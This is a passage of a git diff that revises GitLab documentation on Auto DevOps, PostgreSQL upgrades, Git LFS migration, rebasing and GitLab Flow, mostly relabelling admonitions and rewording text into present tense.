DevOps @@ -11,6 +11,9 @@ Read them carefully to understand how each one works. ## Auto Build +NOTE: +Auto Build is not supported if Docker in Docker is not available for your GitLab Runners, like in OpenShift clusters. The OpenShift support in GitLab is tracked [in a dedicated epic](https://gitlab.com/groups/gitlab-org/-/epics/2068). + Auto Build creates a build of the application using an existing `Dockerfile` or Heroku buildpacks. The resulting Docker image is pushed to the [Container Registry](../../user/packages/container_registry/index.md), and tagged @@ -48,7 +51,7 @@ language: For the requirements of other languages and frameworks, read the [Heroku buildpacks documentation](https://devcenter.heroku.com/articles/buildpacks#officially-supported-buildpacks). -TIP: **Tip:** +NOTE: If Auto Build fails despite the project meeting the buildpack requirements, set a project variable `TRACE=true` to enable verbose logging, which may help you troubleshoot. @@ -64,7 +67,7 @@ value. The default builder is `heroku/buildpacks:18` but a different builder can be selected using the CI variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`. Cloud Native Buildpacks (CNBs) are an evolution of Heroku buildpacks, and -will eventually supersede Herokuish-based builds within Auto DevOps. For more +GitLab expects them to eventually supersede Herokuish-based builds within Auto DevOps. For more information, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212692). Builds using Cloud Native Buildpacks support the same options as builds using @@ -78,7 +81,7 @@ Heroku buildpacks, with the following caveats: - The `/bin/herokuish` command is not present in the resulting image, and prefixing commands with `/bin/herokuish procfile exec` is no longer required (nor possible). -NOTE: **Note:** +NOTE: Auto Test still uses Herokuish, as test suite detection is not yet part of the Cloud Native Buildpack specification. For more information, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212689). @@ -96,7 +99,7 @@ Check the [currently supported languages](#currently-supported-languages). Auto Test uses tests you already have in your application. If there are no tests, it's up to you to add them. -NOTE: **Note:** +NOTE: Not all buildpacks supported by [Auto Build](#auto-build) are supported by Auto Test. Auto Test uses [Herokuish](https://gitlab.com/gitlab-org/gitlab/-/issues/212689), *not* Cloud Native Buildpacks, and only buildpacks that implement the @@ -147,16 +150,13 @@ out. The merge request widget also displays any > - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3. > - Select functionality made available in all tiers beginning in 13.1 -Static Application Security Testing (SAST) uses the -[SAST Docker image](https://gitlab.com/gitlab-org/security-products/sast) to run static +Static Application Security Testing (SAST) runs static analysis on the current code, and checks for potential security issues. The -Auto SAST stage will be skipped on licenses other than -[Ultimate](https://about.gitlab.com/pricing/), and requires -[GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or above. +Auto SAST stage requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or above. After creating the report, it's uploaded as an artifact which you can later download and check out. The merge request widget also displays any security -warnings. +warnings on [Ultimate](https://about.gitlab.com/pricing/) licenses. To learn more about [how SAST works](../../user/application_security/sast/index.md), see the documentation. @@ -171,7 +171,7 @@ Secret Detection uses the After creating the report, it's uploaded as an artifact which you can later download and evaluate. The merge request widget also displays any security -warnings. +warnings on [Ultimate](https://about.gitlab.com/pricing/) licenses. To learn more, see [Secret Detection](../../user/application_security/secret_detection/index.md). @@ -179,9 +179,7 @@ To learn more, see [Secret Detection](../../user/application_security/secret_det > Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.7. -Dependency Scanning uses the -[Dependency Scanning Docker image](https://gitlab.com/gitlab-org/security-products/dependency-scanning) -to run analysis on the project dependencies and check for potential security issues. +Dependency Scanning runs analysis on the project's dependencies and checks for potential security issues. The Auto Dependency Scanning stage is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/) and requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or above. @@ -254,7 +252,7 @@ In GitLab 11.4 and later, [local Tiller](https://gitlab.com/gitlab-org/gitlab-fo used. Previous versions of GitLab had a Tiller installed in the project namespace. -CAUTION: **Caution:** +WARNING: Your apps should *not* be manipulated outside of Helm (using Kubernetes directly). This can cause confusion with Helm not detecting the change and subsequent deploys with Auto DevOps can undo your changes. Also, if you change something @@ -288,7 +286,7 @@ see the documentation. To use a custom target instead of the auto-deployed review apps, set a `DAST_WEBSITE` environment variable to the URL for DAST to scan. -DANGER: **Warning:** +WARNING: If [DAST Full Scan](../../user/application_security/dast/index.md#full-scan) is enabled, GitLab strongly advises **not** to set `DAST_WEBSITE` to any staging or production environment. DAST Full Scan @@ -373,7 +371,7 @@ In GitLab 11.4 and later, a used. Previous versions of GitLab had a Tiller installed in the project namespace. -CAUTION: **Caution:** +WARNING: Your apps should *not* be manipulated outside of Helm (using Kubernetes directly). This can cause confusion with Helm not detecting the change and subsequent deploys with Auto DevOps can undo your changes. Also, if you change something @@ -387,16 +385,16 @@ in the first place, and thus not realize that it needs to re-apply the old confi [GitLab Deploy Tokens](../../user/project/deploy_tokens/index.md#gitlab-deploy-token) are created for internal and private projects when Auto DevOps is enabled, and the Auto DevOps settings are saved. You can use a Deploy Token for permanent access to -the registry. After you manually revoke the GitLab Deploy Token, it won't be +the registry. After you manually revoke the GitLab Deploy Token, it isn't automatically created. If the GitLab Deploy Token can't be found, `CI_REGISTRY_PASSWORD` is used. -NOTE: **Note:** -`CI_REGISTRY_PASSWORD` is only valid during deployment. Kubernetes will be able -to successfully pull the container image during deployment, but if the image must -be pulled again, such as after pod eviction, Kubernetes will fail to do so +NOTE: +`CI_REGISTRY_PASSWORD` is only valid during deployment. Kubernetes can +successfully pull the container image during deployment, but if the image must +be pulled again, such as after pod eviction, Kubernetes cannot do so as it attempts to fetch the image using `CI_REGISTRY_PASSWORD`. ### Kubernetes 1.16+ @@ -405,7 +403,7 @@ as it attempts to fetch the image using `CI_REGISTRY_PASSWORD`. > - Support for deploying a PostgreSQL version that supports Kubernetes 1.16+ was [introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/merge_requests/49) in GitLab 12.9. > - Supported out of the box for new deployments as of GitLab 13.0. -CAUTION: **Deprecation:** +WARNING: The default value for the `deploymentApiVersion` setting was changed from `extensions/v1beta` to `apps/v1` in [GitLab 13.0](https://gitlab.com/gitlab-org/charts/auto-deploy-app/-/issues/47). @@ -431,7 +429,7 @@ To use Auto Deploy on a Kubernetes 1.16+ cluster: 1. If you are deploying your application for the first time and are using GitLab 12.9 or 12.10, set `AUTO_DEVOPS_POSTGRES_CHANNEL` to `2`. -DANGER: **Warning:** +WARNING: On GitLab 12.9 and 12.10, opting into `AUTO_DEVOPS_POSTGRES_CHANNEL` version `2` deletes the version `1` PostgreSQL database. Follow the [guide to upgrading PostgreSQL](upgrading_postgresql.md) @@ -455,7 +453,7 @@ initialization completes, GitLab deploys a second release with the application deployment as normal. Note that a post-install hook means that if any deploy succeeds, -`DB_INITIALIZE` won't be processed thereafter. +`DB_INITIALIZE` isn't processed thereafter. If present, `DB_MIGRATE` is run as a shell command within an application pod as a Helm pre-upgrade hook. @@ -492,7 +490,7 @@ the standard health checks, which expect a successful HTTP response on port the [`sidekiq_alive` gem](https://rubygems.org/gems/sidekiq_alive). To work with Sidekiq, you must also ensure your deployments have -access to a Redis instance. Auto DevOps won't deploy this instance for you, so +access to a Redis instance. Auto DevOps doesn't deploy this instance for you, so you must: - Maintain your own Redis instance. @@ -531,7 +529,7 @@ and accept traffic to and from any source. You can use [NetworkPolicy](https://kubernetes.io/docs/concepts/services-networking/network-policies/) to restrict connections to and from selected pods, namespaces, and the Internet. -NOTE: **Note:** +NOTE: You must use a Kubernetes network plugin that implements support for `NetworkPolicy`. The default network plugin for Kubernetes (`kubenet`) [does not implement](https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/#kubenet) @@ -623,7 +621,7 @@ may require commands to be wrapped as follows: Some of the reasons you may need to wrap commands: - Attaching using `kubectl exec`. -- Using GitLab's [Web Terminal](../../ci/environments/index.md#web-terminals). +- Using the GitLab [Web Terminal](../../ci/environments/index.md#web-terminals). For example, to start a Rails console from the application root directory, run: diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md index 16536e5b586..c45390e935d 100644 --- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md +++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -73,7 +73,9 @@ please proceed with the following upgrade guide. Otherwise, you can skip this pr #### Kubernetes 1.16+ -The v2 auto-deploy-image also drops support for Kubernetes 1.15 and lower. +The v2 auto-deploy-image drops support for Kubernetes 1.15 and lower. If you need to upgrade your +Kubernetes cluster, follow your cloud provider's instructions. Here's +[an example on GKE](https://cloud.google.com/kubernetes-engine/docs/how-to/upgrading-a-cluster). #### Helm 3 @@ -114,6 +116,12 @@ If your Auto DevOps project has an active environment that was deployed with the `kubectl apply -f $backup`. 1. Remove the `MIGRATE_HELM_2TO3` variable. +#### In-Cluster PostgreSQL Channel 2 + +The v2 auto-deploy-image drops support for [legacy in-cluster PostgreSQL](upgrading_postgresql.md). +If your Kubernetes cluster still depends on it, [upgrade and migrate your data](upgrading_postgresql.md) +with the [v1 auto-deploy-image](#use-a-specific-version-of-auto-deploy-dependencies). + #### Traffic routing change for canary deployments and incremental rollouts > [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/merge_requests/109) in GitLab 13.4. @@ -176,7 +184,7 @@ include: - remote: https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml ``` -CAUTION: **Warning:** +WARNING: Using a beta or unstable `auto-deploy-image` could cause unrecoverable damage to your environments. Do not test it with important projects or environments. diff --git a/doc/topics/autodevops/upgrading_chart.md b/doc/topics/autodevops/upgrading_chart.md index e4fb84d4509..2162969b53e 100644 --- a/doc/topics/autodevops/upgrading_chart.md +++ b/doc/topics/autodevops/upgrading_chart.md @@ -3,3 +3,6 @@ redirect_to: 'upgrading_auto_deploy_dependencies.md' --- This document was moved to [another location](upgrading_auto_deploy_dependencies.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md index a3c9f562f5e..55432ad61fa 100644 --- a/doc/topics/autodevops/upgrading_postgresql.md +++ b/doc/topics/autodevops/upgrading_postgresql.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Upgrading PostgreSQL for Auto DevOps @@ -36,7 +36,7 @@ involves: any existing channel 1 database. For more information, see [Detected an existing PostgreSQL database](index.md#detected-an-existing-postgresql-database). -TIP: **Tip:** +NOTE: If you have configured Auto DevOps to have staging, consider trying out the backup and restore steps on staging first, or trying this out on a review app. @@ -79,7 +79,7 @@ being modified after the database dump is created. deployment.extensions/production scaled ``` -1. You also will need to set replicas to zero for workers if you have any. +1. You must also set replicas to zero for workers if you have any. ## Backup @@ -112,7 +112,7 @@ being modified after the database dump is created. - `USERNAME` is the username you have configured for PostgreSQL. The default is `user`. - `DATABASE_NAME` is usually the environment name. - - You will be asked for the database password, the default is `testing-password`. + - When prompted for the database password, the default is `testing-password`. ```shell ## Format is: @@ -168,12 +168,12 @@ pvc-9085e3d3-5239-11ea-9c8d-42010a8e0096 8Gi RWO Retain ## Install new PostgreSQL -CAUTION: **Caution:** -Using the newer version of PostgreSQL will delete +WARNING: +Using the newer version of PostgreSQL deletes the older 0.7.1 PostgreSQL. To prevent the underlying data from being deleted, you can choose to retain the [persistent volume](#retain-persistent-volumes). -TIP: **Tip:** +NOTE: You can also [scope](../../ci/environments/index.md#scoping-environments-with-specs) the `AUTO_DEVOPS_POSTGRES_CHANNEL`, `AUTO_DEVOPS_POSTGRES_DELETE_V1` and @@ -196,9 +196,9 @@ higher*. This is the `XDB_INITIALIZE` or the `XDB_MIGRATE` to effectively disable them. 1. Run a new CI pipeline for the branch. In this case, we run a new CI pipeline for `master`. -1. Once the pipeline is successful, your application will now be upgraded - with the new PostgreSQL installed. There will also be zero replicas - which means no traffic will be served for your application (to prevent +1. After the pipeline is successful, your application is upgraded + with the new PostgreSQL installed. Zero replicas exist at this time, so + no traffic is served for your application (to prevent new data from coming in). ## Restore @@ -226,7 +226,7 @@ higher*. This is the 1. Once connected to the pod, run the following command to restore the database. - - You will be asked for the database password, the default is `testing-password`. + - When asked for the database password, the default is `testing-password`. - `USERNAME` is the username you have configured for PostgreSQL. The default is `user`. - `DATABASE_NAME` is usually the environment name. diff --git a/doc/topics/cron/index.md b/doc/topics/cron/index.md index 2be579b4e98..5abcc5e1eb1 100644 --- a/doc/topics/cron/index.md +++ b/doc/topics/cron/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Cron diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md index 762eddbc130..c9fb81600d4 100644 --- a/doc/topics/git/feature_branch_development.md +++ b/doc/topics/git/feature_branch_development.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: how-tos --- @@ -15,7 +15,7 @@ Once work on the development branch is complete, then the feature branch can be GitLab frequently implements this process whenever there is an MVC that requires multiple MRs. -## Use case: GitLab's release posts +## Use case: GitLab release posts This section describes the use case with GitLab [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/). Dozens of GitLab team members contribute to each monthly release post. diff --git a/doc/topics/git/git_rebase.md b/doc/topics/git/git_rebase.md index c01080400ac..6a4608223b4 100644 --- a/doc/topics/git/git_rebase.md +++ b/doc/topics/git/git_rebase.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: concepts, howto description: "Introduction to Git rebase, force-push, and resolving merge conflicts through the command line." --- @@ -24,7 +24,7 @@ Git. There are the following rebase options: ### Before rebasing -CAUTION: **Warning:** +WARNING: `git rebase` rewrites the commit history. It **can be harmful** to do it in shared branches. It can cause complex and hard to resolve merge conflicts. In these cases, instead of rebasing your branch against the default branch, @@ -129,7 +129,7 @@ message, squash (join multiple commits into one), edit, or delete commits. It is handy for changing past commit messages, as well as for organizing the commit history of your branch to keep it clean. -TIP: **Tip:** +NOTE: If you want to keep the default branch commit history clean, you don't need to manually squash all your commits before merging every merge request; with [Squash and Merge](../../user/project/merge_requests/squash_and_merge.md) @@ -263,7 +263,7 @@ To fix conflicts locally, you can use the following method: git rebase --continue ``` - CAUTION: **Caution:** + WARNING: Up to this point, you can run `git rebase --abort` to stop the process. Git aborts the rebase and rolls back the branch to the state you had before running `git rebase`. diff --git a/doc/topics/git/how_to_install_git/index.md b/doc/topics/git/how_to_install_git/index.md index 1eea49d8ffe..5979cad1c0e 100644 --- a/doc/topics/git/how_to_install_git/index.md +++ b/doc/topics/git/how_to_install_git/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: 'This article describes how to install Git on macOS, Ubuntu Linux and Windows.' type: howto --- diff --git a/doc/topics/git/index.md b/doc/topics/git/index.md index cb2d7b74522..cc4e546a244 100644 --- a/doc/topics/git/index.md +++ b/doc/topics/git/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: index --- diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md index 80014358230..f6e0cdee2cf 100644 --- a/doc/topics/git/lfs/index.md +++ b/doc/topics/git/lfs/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs/index.html' --- @@ -43,7 +43,7 @@ Documentation for GitLab instance administrators is under [LFS administration do - Git LFS always assumes HTTPS so if you have GitLab server on HTTP you will have to add the URL to Git configuration manually (see [troubleshooting](#troubleshooting)) -NOTE: **Note:** +NOTE: With 8.12 GitLab added LFS support to SSH. The Git LFS communication still goes over HTTP, but now the SSH client passes the correct credentials to the Git LFS client, so no action is required by the user. @@ -120,7 +120,7 @@ See the documentation on [File Locking](../../../user/project/file_lock.md). > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-objects-in-project-archives). -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. Prior to GitLab 13.5, [project source @@ -219,7 +219,7 @@ git config --add lfs.url "http://gitlab.example.com/group/project.git/info/lfs" ### Credentials are always required when pushing an object -NOTE: **Note:** +NOTE: With 8.12 GitLab added LFS support to SSH. The Git LFS communication still goes over HTTP, but now the SSH client passes the correct credentials to the Git LFS client, so no action is required by the user. diff --git a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md index d65d52841aa..30be9c42f01 100644 --- a/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_from_git_annex_to_git_lfs.md @@ -1,13 +1,13 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- # Migration guide from Git Annex to Git LFS -DANGER: **Deprecated:** +WARNING: Git Annex support [has been removed](https://gitlab.com/gitlab-org/gitlab/-/issues/1648) in GitLab Enterprise Edition 9.0 (2017/03/22). @@ -32,7 +32,7 @@ ones that GitLab developed. - Git Annex requires a more complex setup, but has much more options than Git LFS. You can compare the commands each one offers by running `man git-annex` and `man git-lfs`. -- Annex files cannot be browsed directly in GitLab's interface, whereas LFS +- Annex files cannot be browsed directly in the GitLab interface, whereas LFS files can. ## Migration steps @@ -82,7 +82,7 @@ Here you'll find a guide on Since Annex files are stored as objects with symlinks and cannot be directly modified, we need to first remove those symlinks. -NOTE: **Note:** +NOTE: Make sure the you read about the [`direct` mode](https://git-annex.branchable.com/direct_mode/) as it contains useful information that may fit in your use case. Note that `annex direct` is deprecated in Git Annex version 6, so you may need to upgrade your repository @@ -216,7 +216,7 @@ GitLab.com), therefore, you don't need to do anything server-side. After the migration finishes successfully, you can remove all `git-annex` related branches from your repository. -On GitLab, navigate to your project's **Repository ➔ Branches** and delete all +On GitLab, navigate to your project's **Repository > Branches** and delete all branches created by Git Annex: `git-annex`, and all under `synced/`.  diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md index 596b2cb400f..941fc281e4c 100644 --- a/doc/topics/git/lfs/migrate_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_to_git_lfs.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "How to migrate an existing Git repository to Git LFS with BFG." --- @@ -10,9 +10,8 @@ description: "How to migrate an existing Git repository to Git LFS with BFG." Using Git LFS can help you to reduce the size of your Git repository and improve its performance. -However, simply adding the -large files that are already in your repository to Git LFS, -will not actually reduce the size of your repository because +However, simply adding the large files that are already in your repository to Git LFS +doesn't actually reduce the size of your repository because the files are still referenced by previous commits. Through the method described on this document, first migrate @@ -26,7 +25,7 @@ This tutorial was inspired by the guide For more information on Git LFS, see the [references](#references) below. -CAUTION: **Warning:** +WARNING: The method described on this guide rewrites Git history. Make sure to back up your repository before beginning and use it at your own risk. @@ -41,7 +40,7 @@ Before beginning, make sure: Branches based on the repository before applying this method cannot be merged. Branches based on the repo before applying this method cannot be merged. -To follow this tutorial, you'll need: +To follow this tutorial, you need: - Maintainer permissions to the existing Git repository you'd like to migrate to LFS with access through the command line. @@ -60,7 +59,7 @@ To follow this tutorial, you'll need: brew install git-lfs ``` -NOTE: **Note:** +NOTE: This guide was tested on macOS Mojave. ## Steps @@ -74,7 +73,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs- 1. Clone `--mirror` the repository: - Cloning with the mirror flag will create a bare repository. + Cloning with the mirror flag creates a bare repository. This ensures you get all the branches within the repo. It creates a directory called `<repo-name>.git` @@ -150,7 +149,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs- ``` Now all existing the files you converted, as well as the new - ones you add, will be properly tracked with LFS. + ones you add, are properly tracked with LFS. 1. [Re-protect the default branch](../../../user/project/protected_branches.md): @@ -177,8 +176,8 @@ but commented out to help encourage others to add to it in the future. --> - [Getting Started with Git LFS](https://about.gitlab.com/blog/2017/01/30/getting-started-with-git-lfs-tutorial/) - [Migrate from Git Annex to Git LFS](migrate_from_git_annex_to_git_lfs.md) -- [GitLab's Git LFS user documentation](index.md) -- [GitLab's Git LFS administrator documentation](../../../administration/lfs/index.md) +- [GitLab Git LFS user documentation](index.md) +- [GitLab Git LFS administrator documentation](../../../administration/lfs/index.md) - Alternative method to [migrate an existing repository to Git LFS](https://github.com/git-lfs/git-lfs/wiki/Tutorial#migrating-existing-repository-data-to-lfs) <!-- diff --git a/doc/topics/git/migrate_to_git_lfs/index.md b/doc/topics/git/migrate_to_git_lfs/index.md index ff60603ae58..c530fa1dcb1 100644 --- a/doc/topics/git/migrate_to_git_lfs/index.md +++ b/doc/topics/git/migrate_to_git_lfs/index.md @@ -3,3 +3,6 @@ redirect_to: '../lfs/migrate_to_git_lfs.md' --- This document was moved to [another location](../lfs/migrate_to_git_lfs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md index 77732e0da3e..8fc2259c83e 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md +++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md @@ -1,14 +1,14 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- # Numerous undo possibilities in Git In this tutorial, we will show you different ways of undoing your work in Git, for which -we will assume you have a basic working knowledge of. Check GitLab's +we will assume you have a basic working knowledge of. Check the GitLab [Git documentation](../index.md) for reference. Also, we will only provide some general information of the commands, which is enough @@ -421,7 +421,7 @@ GitLab). There is a `git merge --squash` command which does exactly that (squashes commits on feature-branch to a single commit on target branch at merge). -NOTE: **Note:** +NOTE: Never modify the commit history of `master` or shared branch. ### How modifying history is done @@ -457,7 +457,7 @@ pick <commit3-id> <commit3-commit-message> # Note that empty commits are commented out ``` -NOTE: **Note:** +NOTE: It is important to notice that comment from the output clearly states that, if you decide to abort, then do not just close your editor (as that will in-fact modify history), but remove all uncommented lines and save. diff --git a/doc/topics/git/partial_clone.md b/doc/topics/git/partial_clone.md index 58fa6d2f112..590a37d0128 100644 --- a/doc/topics/git/partial_clone.md +++ b/doc/topics/git/partial_clone.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -108,7 +108,7 @@ For more details, see the Git documentation for ## Filter by file path -CAUTION: **Experimental:** +WARNING: Partial Clone using `sparse` filters is experimental, slow, and will significantly increase Gitaly resource utilization when cloning and fetching. @@ -169,7 +169,7 @@ For more details, see the Git documentation for git rev-list --all --quiet --objects --missing=print | wc -l ``` - CAUTION: **IDE and Shell integrations:** + WARNING: Git integrations with `bash`, `zsh`, etc and editors that automatically show Git status information often run `git fetch` which will fetch the entire repository. You many need to disable or reconfigure these diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md index 523718e4133..aace979004f 100644 --- a/doc/topics/git/troubleshooting_git.md +++ b/doc/topics/git/troubleshooting_git.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto --- @@ -51,7 +51,7 @@ There's another option where you can prevent session timeouts by configuring SSH 'keep alive' either on the client or on the server (if you are a GitLab admin and have access to the server). -NOTE: **Note:** +NOTE: Configuring *both* the client and the server is unnecessary. **To configure SSH on the client side**: @@ -165,7 +165,7 @@ fatal: index-pack failed This can be fixed by increasing the existing `http.postBuffer` value to one greater than the repository size. For example, if `git clone` fails when cloning a 500M repository, the solution will be to set `http.postBuffer` to `524288000` so that the request only starts buffering after the first 524288000 bytes. -NOTE: **Note:** +NOTE: The default value of `http.postBuffer`, 1 MiB, is applied if the setting is not configured. ```shell diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md index 0bf6075a1ea..6b4d1e06c2c 100644 --- a/doc/topics/git/useful_git_commands.md +++ b/doc/topics/git/useful_git_commands.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md index 32676658bff..292e35922d6 100644 --- a/doc/topics/gitlab_flow.md +++ b/doc/topics/gitlab_flow.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" disqus_identifier: 'https://docs.gitlab.com/ee/workflow/gitlab_flow.html' --- @@ -151,7 +151,7 @@ In GitLab, you can do this when merging. Removing finished branches ensures that the list of branches shows only work in progress. It also ensures that if someone reopens the issue, they can use the same branch name without causing problems. -NOTE: **Note:** +NOTE: When you reopen an issue you need to create a new merge request.  @@ -173,7 +173,7 @@ For example, the issue title "As an administrator, I want to remove users withou When you are ready to code, create a branch for the issue from the `master` branch. This branch is the place for any work related to this change. -NOTE: **Note:** +NOTE: The name of a branch might be dictated by organizational standards. When you are done or want to discuss the code, open a merge request. @@ -224,12 +224,12 @@ Not only does this rewrite history, but it also loses authorship information. Rebasing prevents the other authors from being attributed and sharing part of the [`git blame`](https://git-scm.com/docs/git-blame). If a merge involves many commits, it may seem more difficult to undo. -You might consider solving this by squashing all the changes into one commit just before merging by using GitLab's [Squash-and-Merge](../user/project/merge_requests/squash_and_merge.md) feature. +You might consider solving this by squashing all the changes into one commit just before merging by using the GitLab [Squash-and-Merge](../user/project/merge_requests/squash_and_merge.md) feature. Fortunately, there is an easy way to undo a merge with all its commits. The way to do this is by reverting the merge commit. Preserving this ability to revert a merge is a good reason to always use the "no fast-forward" (`--no-ff`) strategy when you merge manually. -NOTE: **Note:** +NOTE: If you revert a merge commit and then change your mind, revert the revert commit to redo the merge. Git does not allow you to merge the code again otherwise. @@ -254,7 +254,7 @@ If you need to use some code that was introduced in `master` after you created t If your feature branch has a merge conflict, creating a merge commit is a standard way of solving this. -NOTE: **Note:** +NOTE: Sometimes you can use `.gitattributes` to reduce merge conflicts. For example, you can set your changelog file to use the 